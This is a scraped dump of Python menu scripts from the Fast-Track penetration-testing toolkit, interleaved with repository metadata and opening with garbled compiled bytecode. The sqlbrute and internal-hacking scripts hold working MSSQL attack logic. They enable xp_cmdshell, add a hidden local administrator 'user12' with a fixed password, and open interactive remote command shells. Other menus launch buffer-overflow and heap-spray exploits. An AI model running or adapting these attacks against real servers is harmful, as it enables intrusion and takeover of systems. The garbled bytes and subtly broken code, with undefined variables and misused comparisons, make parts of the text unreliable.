—Ú öÉkOc@sAddkZddkZddkZeiÉZeiideÉddkZyddkZei ÉWne j onXeiÉZxÆddjo†ei Ée dÉZ e djoPne djoieiideÉy4yeeÉWnej onXddkZWq:ej oZeGHq:Xne djoieiideÉy4yeeÉWnej onXddkZWq∞ej oZeGHq∞Xne djoieiid eÉy4yeeÉWnej onXddkZWq&ej oZeGHq&Xne d joPqèqèWdS( iˇˇˇˇNs %s/bin/ftsrc/is} Microsoft SQL Attack Tools 1. MSSQL Injector 2. MSSQL Bruter 3. SQLPwnage (q)uit Enter your choice : tqt1t2t3s%s/bin/ftsrc/sqlpwnage/t4(tostsysttimetgetcwdt definepathtpathtappendtincludetpsycotfullt ImportErrort print_bannert raw_inputtmenutreloadt sqlinjectort Exceptiontetsqlbrutet sqlpwnage(((s//var/pwnplug/fasttrack/bin/menu/mssqlattacks.pyt<module>s`$            
1,250
Python
.py
19
63.578947
307
0.428804
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,316
servicesmenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/servicesmenu.py
#!/usr/bin/env python import os,time,re definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: import psyco psyco.full() except ImportError: pass while 1==1 : servmen=raw_input("""Which service do you want to start: 1. VNC 2. TFTP 3. SSH 4. Apache 5. Metasploit Web 6. ProFTPD (q)uit Enter number: """) if servmen == '1' : vnc=os.system("vncserver;netstat -ant |grep 5901") print "VNC Server Started..." if servmen == '2' : tftp=os.system("atftpd --daemon --port 69 /tmp/;netstat -anu |grep 69") print "TFTP Server Started..." if servmen == '3' : ssh=os.system("sshd-generate;/usr/sbin/sshd;netstat -ant |grep 22") print "SSH Server Started..." if servmen == '4' : apache=os.system("apachectl start;netstat -ant |grep 80") print "Apache Server Started..." if servmen == '5' : metasplt1=os.system("%s/msfweb &" % (metapath)) time.sleep(10) print 'Sleeping 10 seconds...waiting for metasploit...then launching FireFox' metasplt2=os.system("firefox http://127.0.0.1:55555 &") if servmen == '6' : print "Make sure you installed it from the Updates Menu first!!" time.sleep(2) print 'Starting FTP Service' ftpstart=os.system('proftpd &') print 'FTP Service Started. Returning to menu.' if servmen == 'q' : print "Returning to previous menu..." break
1,851
Python
.py
52
27.192308
90
0.580915
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,317
mssqlattacks.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/mssqlattacks.py
#!/usr/bin/env python import os,sys,time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() while 1==1: include.print_banner() menu=raw_input(""" Microsoft SQL Attack Tools 1. MSSQL Injector 2. MSSQL Bruter 3. SQLPwnage (q)uit Enter your choice : """) if menu == 'q': break # MSSQL Injector Start if menu == '1': sys.path.append("%s/bin/ftsrc/" % (definepath)) try: try: reload(sqlinjector) except Exception: pass import sqlinjector except Exception,e: print e # Start SQL Bruter if menu == '2': sys.path.append("%s/bin/ftsrc/" % (definepath)) try: try: reload(sqlbrute) except Exception: pass import sqlbrute except Exception,e: print e #SQLPwnage Start if menu == '3': sys.path.append("%s/bin/ftsrc/sqlpwnage/" % (definepath)) try: try: reload(sqlpwnage) except Exception: pass import sqlpwnage except Exception,e: print e # Cancel if menu == '4': break
1,202
Python
.py
54
16.962963
62
0.618421
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,318
main.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/main.py
#!/usr/bin/env python import time,re,os,sys,subprocess try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include sys.path.append("%s/bin/setup/" % (definepath)) import depend updateconfig="" # Main Menu to choose readversion=file("bin/version/version","r") for line in readversion: version=line.rstrip() try: while 1==1: include.print_banner() mainmenu=raw_input(''' Fast-Track Main Menu: 1. Fast-Track Updates 2. Autopwn Automation 3. Nmap Scripting Engine 4. Microsoft SQL Tools 5. Mass Client-Side Attack 6. Exploits 7. Binary to Hex Payload Converter 8. Payload Generator 9. Fast-Track Tutorials 10. Fast-Track Changelog 11. Fast-Track Credits 12. Exit Fast-Track Enter the number: ''') if mainmenu == '1': try: # DEBUGGING # Check OS - show or hide updates configfile=file("bin/config/config", "r").readlines() for line in configfile: search=re.search("SHOWUPDATES=",line) if search: line=line.rstrip() updateconfig=line.split("=") updateconfig=updateconfig[1] if updateconfig == "": #Suggest running setup and show restricted menu try: reload(updatemenu) except Exception: pass import updatemenu if updateconfig == "YES": # Is not BackTrack, show all updates try: reload(updatemenu) except Exception: pass import updatemenu if updateconfig == "NO": # Is BackTrack, update fast-track only try: reload(updateftonlymenu) except Exception: pass import updateftonlymenu except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Start Metasploit Autopwn if mainmenu == '2': try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(autopwn) except Exception: pass import autopwn except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Nmap Scripting Engine if mainmenu == '3' : try: try: reload(nsemenu) except Exception: pass import nsemenu except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # MSSQL Attacks if mainmenu == '4' : try: try: reload(mssqlattacks) except Exception: pass import mssqlattacks except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Start Mass Client Attack if mainmenu == '5': try: sys.path.append("%s/bin/ftsrc/clientattack/" % (definepath)) try: reload(massclient) except Exception: pass import massclient except KeyboardInterrupt : print '\n\n Returning to previous menu...' time.sleep(2) # Exploit menu start if mainmenu == '6': try: try: reload(exploitmenu) except Exception: import exploitmenu except KeyboardInterrupt: print '\n\n Returning to previous menu...' time.sleep(2) if mainmenu == '7': #Start Binary to Hex Generator try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(binarypayloadgen) except Exception: pass import binarypayloadgen except KeyboardInterrupt : print '\n Returning to previous menu...' time.sleep(2) # Start Option 7 Payload Generator if mainmenu == '8': try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(payloadgen) except Exception: pass import payloadgen except KeyboardInterrupt : print '\n Returning to previous menu...' time.sleep(2) # Start Option 8 Tutorials if mainmenu == '9' : try: try: reload(tutorialsmenu) except Exception: pass import tutorialsmenu except KeyboardInterrupt : print '\n Returning to previous menu...' time.sleep(2) # Start Option 9 ChangeLog if mainmenu == '10' : try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(changelog) except Exception: pass import changelog except KeyboardInterrupt : print '\n\n Returning to previous menu...\n' time.sleep(2) # Start Option 10 credits if mainmenu == '11' : try: sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(credits) except Exception: pass import credits except KeyboardInterrupt : print '\n\n Returning to previous menu...\n' time.sleep(2) # Exit Fast-Track if mainmenu == '12': print """\n\n Exiting Fast-Track...\n\n """ cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;rm parse2.txt 2> /dev/null;rm parse.txt 2> /dev/null;rm binarypayload.txt 2> /dev/null;portscan.txt 2> /dev/null", shell=True) sys.exit() # Error handling except KeyboardInterrupt : print """\n\n Exiting Fast-Track...\n""" cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;rm parse2.txt 2> /dev/null;rm parse.txt 2> /dev/null;rm binarypayload.txt 2> /dev/null;rm portscan.txt 2> /dev/null", shell=True)
6,486
Python
.py
194
22.613402
269
0.543429
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,319
sqlbrute.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/sqlbrute.py
#!/usr/bin/env python import os,sys,time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1==1: try: import _mssql include.print_banner() sqlportip=raw_input(''' Enter the IP Address and Port Number to Attack. Options: (a)ttempt SQL Ping and Auto Quick Brute Force (m)ass scan and dictionary brute (s)ingle Target (Attack a Single Target with big dictionary) (f)ind SQL Ports (SQL Ping) (i) want a command prompt and know which system is vulnerable (v)ulnerable system, I want to add a local admin on the box... (r)aw SQL commands to the SQL Server (e)nable xp_cmdshell if its disabled (sql2k and sql2k5) (h)ost list file of IP addresses you want to attack (q)uit Enter Option: ''') #Start enable xp cmdshell if sqlportip == 'q' : break if sqlportip == 'e' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") print "" print 'Attempting to connect with the credentials....' time.sleep(1) try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected! Turning on XP_Cmdshell' time.sleep(1) vulner4.select_db('master') query0='''sp_addextendedproc "xp_cmdshell", "C:\\Program Files\\Microsoft SQL Server\\MSSQL\Binn\\xplog70.dll"''' query1='''sp_configure "show advanced options", 1 ;RECONFIGURE''' query2='''sp_configure "xp_cmdshell", 1 ;RECONFIGURE--''' try: quer0=vulner4.query(query0) print 'Enabling...' except Exception: print "" try: quer1=vulner4.query(query1) print 'Enabling...' except Exception: print "" try: quer2=vulner4.query2(query2) print 'Enabling...' except Exception: print "" print "Alright...try the xp_cmdshell now..." time.sleep(2) except Exception: print "Sorry can't enable xp_cmdshell, are you running under sysadmin rights?" # end enable xp cmdshell # start vulnerable servere if sqlportip == 'v' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") if vulner3=='': vulner3== '' print 'Attempting to connect with the credentials....' try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected!.... Adding user accounts..lets hope its running under SA rights...' vulner4.select_db('master') query="xp_cmdshell 'net user user12 P@55w0rd! /ADD'" query2="xp_cmdshell 'net localgroup administrators user12 /ADD'" quer=vulner4.query(query) if quer: print "insert table: %d" % quer print vulner4.fetch_array() return2=vulner4.query(query2) if return2: print "insert table: %d" % return2 print vulner4.fetch_array() print """ Nice...added a local user "user12" with password "P@55w0rd!" """ except Exception : print 'Something went wrong...sorry, try again?' #end vulnerable server if sqlportip == 'f' : scanfirst1=raw_input("Enter the IP Range to scan for SQL Ports: ") scan01=os.system("nmap -sT -v -P0 -T Insane -p1433 '%s' > SqlScan.txt" % (scanfirst1)) print """ """ print """ Scanning... please be patient ....\n""" scanres=os.popen("grep Discovered* SqlScan.txt").read() print scanres if sqlportip == 's' : import sys sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword #Start SQL Command prompt if sqlportip == 'i' : while 1 == 1: try : sqlportip=raw_input("Enter IP of SQL Server: ") if sqlportip == 'quit' : break username=raw_input("Enter the Username, hit enter for sa: ") if username == '' : username == 'sa' password=raw_input("Enter password for SQL server, hit enter for blank: ") if password == '' : password == '' mssql = _mssql.connect('%s:1433' % (sqlportip),'%s' % (username),'%s' % (password)) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your command, type control-c to exit: ") if commandprompt == 'quit' : break query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.query(query3) if printquery: print mssql.fetch_array() except Exception: #print """Login failed...try again. """ pass # Start Mass Scan and Mass Brute if sqlportip == 'm' : import sys sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword # End Mass Scan and Mass Brute # Start Quick Brute if sqlportip == 'a' or sqlportip == 'h': import sys sys.path.append("%s/bin/ftsrc/" % (definepath)) try: if sqlportip == 'h': filewrite=file("bin/appdata/hostfile", "w") filewrite.write("TRUE") filewrite.close() reload(sqlbrutequick) except Exception: pass import sqlbrutequick # Straight SQL Commands Start if sqlportip == 'r' : while 1 == 1: try : sqlportip=raw_input("Enter IP of SQL Server: ") if sqlportip == 'quit' : break username=raw_input("Enter the Username, hit enter for sa: ") if username == '' : username == 'sa' password=raw_input("Enter password for SQL server, hit enter for blank: ") if password == '' : password == '' mssql = _mssql.connect('%s:1433' % (sqlportip),'%s' % (username),'%s' % (password)) mssql.select_db('master') print 'Enter your SQL commands below at the sql prompt. Control-C to quit' while 1 == 1 : try: commandprompt=raw_input("sql>") if commandprompt == 'quit' : break query3=(r"%s" % commandprompt) printquery=mssql.query(query3) if printquery: print mssql.fetch_array() except Exception, e: print "SQL says: " +str(e) pass except Exception,e: print e print """Login failed...try again. """ # Straight SQL Commands END # Error handling except Exception,e : print "\nSomething went wrong, printing error: ",e time.sleep(2)
9,131
Python
.py
188
29.510638
133
0.462752
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,320
tutorialsmenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/tutorialsmenu.py.svn-base
#!/usr/bin/env python import sys,os definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include # method to display the tutorial text def show_tutorial(tutorial_file): include.print_banner() print '\n' display = open(tutorial_file, 'r') try: for line in display: sys.stdout.write(line) finally: display.close() pause=raw_input("\nPress enter to return to menu") while 1==1: include.print_banner() tutmenu1=raw_input('''\nFast-Track Tutorials Menu: 1. General Functionality and Movement in Fast-Track 2. How to update Fast-Track 3. MetaSploit AutoPwn 4. SQL 1433 Hacking 5. SQL Injection HOWTO 6. FTP Brute Forcer 7. Spawning a Shell 8. Exploits 9. Mass Client-Side Attacks 10. Binary to Hex Payload Generator (q)uit Enter number: ''') #################################################################### if tutmenu1 == '1': tutorial_file="bin/ftsrc/tutorials/general_functionality.txt" show_tutorial(tutorial_file) if tutmenu1 == '2': tutorial_file="bin/ftsrc/tutorials/updating_fasttrack.txt" show_tutorial(tutorial_file) if tutmenu1 == '3': tutorial_file="bin/ftsrc/tutorials/metasploit_autopwn.txt" show_tutorial(tutorial_file) if tutmenu1 == '4': tutorial_file="bin/ftsrc/tutorials/sql_1433_hacking.txt" show_tutorial(tutorial_file) if tutmenu1 == '5': tutorial_file="bin/ftsrc/tutorials/sql_injection_howto.txt" show_tutorial(tutorial_file) if tutmenu1 == '6': tutorial_file="bin/ftsrc/tutorials/ftp_brute_forcer.txt" show_tutorial(tutorial_file) if tutmenu1 == '7': tutorial_file="bin/ftsrc/tutorials/spawn_command_shell.txt" show_tutorial(tutorial_file) if tutmenu1 == '8': tutorial_file="bin/ftsrc/tutorials/exploits_menu.txt" show_tutorial(tutorial_file) if tutmenu1 == '9': tutorial_file="bin/ftsrc/tutorials/mass_clientside_attack.txt" show_tutorial(tutorial_file) if tutmenu1 == '10': tutorial_file="bin/ftsrc/tutorials/binary_hex_payload.txt" show_tutorial(tutorial_file) if tutmenu1 == 'q': print '\n\nReturning to main menu...\n' break
2,275
Python
.py
65
29.553846
68
0.664528
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,321
sqlbrute.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/sqlbrute.py.svn-base
#!/usr/bin/env python import os,sys,time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1==1: try: import _mssql include.print_banner() sqlportip=raw_input(''' Enter the IP Address and Port Number to Attack. Options: (a)ttempt SQL Ping and Auto Quick Brute Force (m)ass scan and dictionary brute (s)ingle Target (Attack a Single Target with big dictionary) (f)ind SQL Ports (SQL Ping) (i) want a command prompt and know which system is vulnerable (v)ulnerable system, I want to add a local admin on the box... (r)aw SQL commands to the SQL Server (e)nable xp_cmdshell if its disabled (sql2k and sql2k5) (h)ost list file of IP addresses you want to attack (q)uit Enter Option: ''') #Start enable xp cmdshell if sqlportip == 'q' : break if sqlportip == 'e' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") print "" print 'Attempting to connect with the credentials....' time.sleep(1) try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected! Turning on XP_Cmdshell' time.sleep(1) vulner4.select_db('master') query0='''sp_addextendedproc "xp_cmdshell", "C:\\Program Files\\Microsoft SQL Server\\MSSQL\Binn\\xplog70.dll"''' query1='''sp_configure "show advanced options", 1 ;RECONFIGURE''' query2='''sp_configure "xp_cmdshell", 1 ;RECONFIGURE--''' try: quer0=vulner4.query(query0) print 'Enabling...' except Exception: print "" try: quer1=vulner4.query(query1) print 'Enabling...' except Exception: print "" try: quer2=vulner4.query2(query2) print 'Enabling...' except Exception: print "" print "Alright...try the xp_cmdshell now..." time.sleep(2) except Exception: print "Sorry can't enable xp_cmdshell, are you running under sysadmin rights?" # end enable xp cmdshell # start vulnerable servere if sqlportip == 'v' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") if vulner3=='': vulner3== '' print 'Attempting to connect with the credentials....' try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected!.... Adding user accounts..lets hope its running under SA rights...' vulner4.select_db('master') query="xp_cmdshell 'net user user12 P@55w0rd! /ADD'" query2="xp_cmdshell 'net localgroup administrators user12 /ADD'" quer=vulner4.query(query) if quer: print "insert table: %d" % quer print vulner4.fetch_array() return2=vulner4.query(query2) if return2: print "insert table: %d" % return2 print vulner4.fetch_array() print """ Nice...added a local user "user12" with password "P@55w0rd!" """ except Exception : print 'Something went wrong...sorry, try again?' #end vulnerable server if sqlportip == 'f' : scanfirst1=raw_input("Enter the IP Range to scan for SQL Ports: ") scan01=os.system("nmap -sT -v -P0 -T Insane -p1433 '%s' > SqlScan.txt" % (scanfirst1)) print """ """ print """ Scanning... please be patient ....\n""" scanres=os.popen("grep Discovered* SqlScan.txt").read() print scanres if sqlportip == 's' : import sys sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword #Start SQL Command prompt if sqlportip == 'i' : while 1 == 1: try : sqlportip=raw_input("Enter IP of SQL Server: ") if sqlportip == 'quit' : break username=raw_input("Enter the Username, hit enter for sa: ") if username == '' : username == 'sa' password=raw_input("Enter password for SQL server, hit enter for blank: ") if password == '' : password == '' mssql = _mssql.connect('%s:1433' % (sqlportip),'%s' % (username),'%s' % (password)) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your command, type control-c to exit: ") if commandprompt == 'quit' : break query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.query(query3) if printquery: print mssql.fetch_array() except Exception: #print """Login failed...try again. """ pass # Start Mass Scan and Mass Brute if sqlportip == 'm' : import sys sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword # End Mass Scan and Mass Brute # Start Quick Brute if sqlportip == 'a' or sqlportip == 'h': import sys sys.path.append("%s/bin/ftsrc/" % (definepath)) try: if sqlportip == 'h': filewrite=file("bin/appdata/hostfile", "w") filewrite.write("TRUE") filewrite.close() reload(sqlbrutequick) except Exception: pass import sqlbrutequick # Straight SQL Commands Start if sqlportip == 'r' : while 1 == 1: try : sqlportip=raw_input("Enter IP of SQL Server: ") if sqlportip == 'quit' : break username=raw_input("Enter the Username, hit enter for sa: ") if username == '' : username == 'sa' password=raw_input("Enter password for SQL server, hit enter for blank: ") if password == '' : password == '' mssql = _mssql.connect('%s:1433' % (sqlportip),'%s' % (username),'%s' % (password)) mssql.select_db('master') print 'Enter your SQL commands below at the sql prompt. Control-C to quit' while 1 == 1 : try: commandprompt=raw_input("sql>") if commandprompt == 'quit' : break query3=(r"%s" % commandprompt) printquery=mssql.query(query3) if printquery: print mssql.fetch_array() except Exception, e: print "SQL says: " +str(e) pass except Exception,e: print e print """Login failed...try again. """ # Straight SQL Commands END # Error handling except Exception,e : print "\nSomething went wrong, printing error: ",e time.sleep(2)
9,131
Python
.py
188
29.510638
133
0.462752
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,322
exploitmenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/exploitmenu.py.svn-base
#!/usr/bin/env python import os,sys,time,subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() sys.path.append("%s/bin/exploits/" % (definepath)) while 1==1: try: include.print_banner() exploit1=raw_input(""" This section will attempt to compile some exploits coded in python, generally these exploits are from Muts, but may add others in time. Select your exploit: 1. HP OpenView Network Node Manager CGI Buffer Overflow 2. IBM Tivoli Storage Manager Express CAD Service Buffer Overflow 3. HP Openview NNM 7.5.1 OVAS.EXE Pre Authentication SEH Overflow 4. Quicktime 7.3 RTSP SEH Buffer Overflow 5. Goodtech SSH Server 6.4 Buffer Overflow 6. MS08-067 Microsoft Server Service Remote Buffer Overflow 7. mIRC 6.34 Remote Buffer Overflow Exploit 8. TFTP Server for Windows V1.4 ST 9. Internet Explorer XML Corruption Buffer Overflow 10. MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) 11. MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray 12. FireFox 3.5 Heap Spray Vulnerability (q)uit Enter number: """) if exploit1 == '1' : try: reload(hpopenview) except Exception: pass import hpopenview if exploit1 == '2' : try: reload(ibmcad) except Exception: pass import ibmcad if exploit1 == '3' : try: reload(hpopenviewnnm) except Exception: pass import hpopenviewnnm if exploit1 == '4' : try: reload(quicktime) except Exception: pass import quicktime if exploit1 == '5' : try: reload(goodtech) except Exception: pass import goodtech if exploit1 == '6' : try: reload(ms08067run) except Exception: pass import ms08067run if exploit1 == '7' : try: reload(mirc) except Exception: pass import mirc if exploit1 == '8' : try: reload(tftp) except Exception: pass import tftp if exploit1 == '9' : try: reload(xmlcorruptionbo) except Exception: pass import xmlcorruptionbo if exploit1 == '10' : try: reload(ms09002) except Exception: pass import ms09002 if exploit1 == '11' : try: reload(ie0day_activex) except Exception: pass import ie0day_activex if exploit1 == '12' : try: reload(firefox35) except Exception: pass import firefox35 if exploit1 == 'q' : print "\nReturning to previous menu...\n" break except Exception, e: print "\n\n The system may not be vulnerable. Printing Error: "+str(e)+"\n" print e
2,914
Python
.py
88
25.659091
84
0.630999
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,323
internalhacking.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/internalhacking.py.svn-base
#!/usr/bin/env python import os,time try: import psyco psyco.full() except ImportError: pass while 1==1: intmenu=raw_input("""\nInternal Pentesting Menu: 1. Microsoft SQL Bruter 2. Port Scanning 3. Go Back a previous menu Enter a number: """) # Option 1 SQL Hackin if intmenu == '1': try: import _mssql sqlportip=raw_input(""" Enter the IP Address and Port Number to Attack. Options: (a)ttempt SQL Ping and Auto Quick Brute Force (m)ass scan and dictionary brute (s)ingle Target (Attack a Single Target with big dictionary) (f)ind SQL Ports (SQL Ping) (i) want a command prompt and know which system is vulnerable (v)ulnerable system, I want to add a local admin on the box... (e)nable xp_cmdshell if its disabled (sql2k and sql2k5) Enter Option: """) #Start enable xp cmdshell if sqlportip == 'e' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") print "" print 'Attempting to connect with the credentials....' time.sleep(1) try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected! Turning on XP_Cmdshell' time.sleep(1) vulner4.select_db('master') query0='''sp_addextendedproc "xp_cmdshell", "C:\\Program Files\\Microsoft SQL Server\\MSSQL\Binn\\xplog70.dll"''' query1='''sp_configure "show advanced options", 1 ;RECONFIGURE''' query2='''sp_configure "xp_cmdshell", 1 ;RECONFIGURE--''' try: quer0=vulner4.query(query0) print 'Enabling...' except Exception: print "" try: quer1=vulner4.query(query1) print 'Enabling...' except Exception: print "" try: quer2=vulner4.query2(query2) print 'Enabling...' except Exception: print "" print "Alright...try the xp_cmdshell now..." time.sleep(2) except Exception: print "Sorry can't enable xp_cmdshell, are you running under sysadmin rights?" # end enable xp cmdshell # start vulnerable servere if sqlportip == 'v' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") if vulner3=='': vulner3== '' print 'Attempting to connect with the credentials....' try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected!.... Adding user accounts..lets hope its running under SA rights...' vulner4.select_db('master') query="xp_cmdshell 'net user user12 P@55w0rd! /ADD'" query2="xp_cmdshell 'net localgroup administrators user12 /ADD'" quer=vulner4.query(query) if quer: print "insert table: %d" % quer print vulner4.fetch_array() return2=vulner4.query(query2) if return2: print "insert table: %d" % return2 print vulner4.fetch_array() print """ Nice...added a local user "user12" with password "P@55w0rd!" """ except Exception : print 'Something went wrong...sorry, try again?' #end vulnerable server if sqlportip == 'f' : scanfirst1=raw_input("Enter the IP Range to scan for SQL Ports: ") scan01=os.system("nmap -sT -v -P0 -T Insane -p1433 %s > SqlScan.txt" % (scanfirst1)) print """ """ print """ Scanning... please be patient ....\n""" scanres=os.popen("grep Discovered* SqlScan.txt").read() print scanres if sqlportip == 's' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword #Start SQL Command prompt if sqlportip == 'i' : while 1 == 1: try : sqlportip=raw_input("Enter IP of SQL Server: ") if sqlportip == 'quit' : break username=raw_input("Enter the Username, hit enter for sa: ") if username == '' : username == 'sa' password=raw_input("Enter password for SQL server, hit enter for blank: ") if password == '' : password == '' mssql = _mssql.connect('%s:1433' % (sqlportip),'%s' % (username),'%s' % (password)) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your command, type control-c to exit: ") if commandprompt == 'quit' : break query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.query(query3) if printquery: print mssql.fetch_array() except Exception: print """Login failed...try again. """ # Start Mass Scan and Mass Brute if sqlportip == 'm' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword # End Mass Scan and Mass Brute # Start Quick Brute if sqlportip == 'a' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbrutequick) except Exception: pass import sqlbrutequick #End Option SQL Range Brute Force # Error handling except Exception,e : print "\nSomething went wrong, printing error: ",e time.sleep(2) # End Option 1 # Option 2 Port Scanning if intmenu == '2': portmenu2=raw_input("""What type of scan: 1. Stealth SYN 2. TCP Connect Choose a number: """) # Choose 1 Syn Scan if portmenu2 == '1': synip=raw_input(""" Example usage: 192.168.1.1-255 Enter the IP: """) print "Scanning be patient..." syn=os.system("nmap -sS -A -v -P0 %s > portscan.txt" % (synip)) print "*** Results will be printed in under portscan.txt ***" syn3=os.system("kwrite portscan.txt &") # Choose 2 TCP Scan if portmenu2 == '2': tcpip=raw_input(""" Example usage: 192.168.1.1-255 Enter the IP: """) print "Scanning be patient...." tcp=os.system("nmap -sT -A -v -P0 %s > portscan.txt" % (tcpip)) print "*** Results will be printed under portscan.txt ***" tcp3=os.system("kwrite portscan.txt &" % (tcpip)) # End Port Scan # Option 4 Previous Menu if intmenu == '3': print """\n\n ****** Returning to previous menu ******\n\n""" break
8,634
Python
.py
184
29.842391
133
0.483639
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,324
sqlpwnagemenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/sqlpwnagemenu.py.svn-base
#!/usr/bin/env python import os,sys,time try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/sqlpwnage/" % (definepath)) try: try: reload(sqlpwnage) except Exception: pass import sqlpwnage except Exception,e: print e
330
Python
.py
16
16.125
57
0.681818
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,325
updatemenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/updatemenu.py.svn-base
